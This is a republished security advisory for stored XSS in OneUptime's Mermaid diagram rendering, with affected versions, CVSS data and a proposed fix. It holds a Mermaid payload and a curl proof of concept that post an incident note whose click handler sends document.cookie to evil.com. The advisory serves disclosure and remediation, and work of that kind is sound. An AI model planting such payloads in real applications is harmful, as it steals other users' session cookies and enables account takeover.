OneUptime: Stored XSS via Mermaid Diagram Rendering (securityLevel: "loose")
Summary
The Markdown viewer component renders Mermaid diagrams with securityLevel: "loose" and injects the SVG output via innerHTML. This configuration explicitly allows interactive event bindings in Mermaid diagrams, enabling XSS through Mermaid's click directive which can execute arbitrary JavaScript. Any field that renders markdown (incident descriptions, status page announcements, monitor notes) is vulnerable.
Details
Mermaid configuration — Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx:76:
// MarkdownViewer.tsx:76
mermaid.initialize({
securityLevel: "loose", // Allows interactive event bindings
// ...
});
The Mermaid documentation explicitly warns: securityLevel: "loose" allows click events and other interactive bindings in diagrams. The safe default is "strict" which strips all interactivity.
SVG injection via innerHTML — MarkdownViewer.tsx:106:
// MarkdownViewer.tsx:106
if (containerRef.current) {
containerRef.current.innerHTML = svg; // Raw SVG injection
}
After Mermaid renders the diagram to SVG, the SVG string is injected directly into the DOM via innerHTML. Combined with securityLevel: "loose", this allows event handlers embedded in the SVG to execute.
Mermaid XSS payload:
```mermaid
graph TD
A["Click me"]
click A callback "javascript:fetch('https://evil.com/?c='+document.cookie)"
```
With securityLevel: "loose", Mermaid processes the click directive and creates an SVG element with an event handler that executes the JavaScript.
PoC
# Authenticate
TOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \
-H 'Content-Type: application/json' \
-d '{"email":"user@example.com","password":"password123"}' \
| jq -r '.token')
# Create an incident note with Mermaid XSS payload
curl -s -X POST 'https://TARGET/api/incident-note' \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-H 'tenantid: PROJECT_ID' \
-d '{
"data": {
"incidentId": "INCIDENT_ID",
"note": "## Root Cause Analysis\n\n```mermaid\ngraph TD\n A[\"Load Balancer\"] --> B[\"App Server\"]\n click A callback \"javascript:fetch('"'"'https://evil.com/?c='"'"'+document.cookie)\"\n```",
"noteType": "RootCause"
}
}'
# Any user viewing this incident note will have their cookies exfiltrated
# Verify the vulnerability in source code:
# 1. securityLevel: "loose":
grep -n 'securityLevel' Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx
# Line 76: securityLevel: "loose"
# 2. innerHTML injection:
grep -n 'innerHTML' Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx
# Line 106: containerRef.current.innerHTML = svg
Impact
Stored XSS in any markdown-rendered field. Affects:
- Incident notes/descriptions — viewed by on-call engineers during incidents
- Status page announcements — viewed by public visitors
- Monitor descriptions — viewed by team members
- Any markdown field — the MarkdownViewer component is shared across the UI
The "loose" security level combined with innerHTML injection allows arbitrary JavaScript execution in the context of the OneUptime application.
Proposed Fix
// 1. Change securityLevel to "strict" (default safe mode):
mermaid.initialize({
securityLevel: "strict", // Strips all interactive bindings
// ...
});
// 2. Use DOMPurify on the SVG output before innerHTML injection:
import DOMPurify from "dompurify";
if (containerRef.current) {
containerRef.current.innerHTML = DOMPurify.sanitize(svg, {
USE_PROFILES: { svg: true, svgFilters: true },
ADD_TAGS: ['foreignObject'],
});
}
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| npm-Paket | oneuptime | < 10.0.23 | 10.0.23 |
Verweise
- CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N- Schwäche (CWE)
CWE-79- Plattform
- npm
- Paket
oneuptime- Veröffentlicht
- 13.03.2026
- Aktualisiert
- 11.10.2026 10:22
Quellen und Lizenzen
OSV / GitHub Advisory Database - GHSA-wvh5-6vjm-23qh - CC BY 4.0
Schwachstellenhistorie: oneuptime
Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 5
- Erste → letzte
- 03.2026 03.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 1
- Hoch 3
- Mittel 1
Veröffentlichungen pro Jahr
- 2026: 5
-
OneUptime: Stored XSS via Mermaid Diagram Rendering (securityLevel: "loose") dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.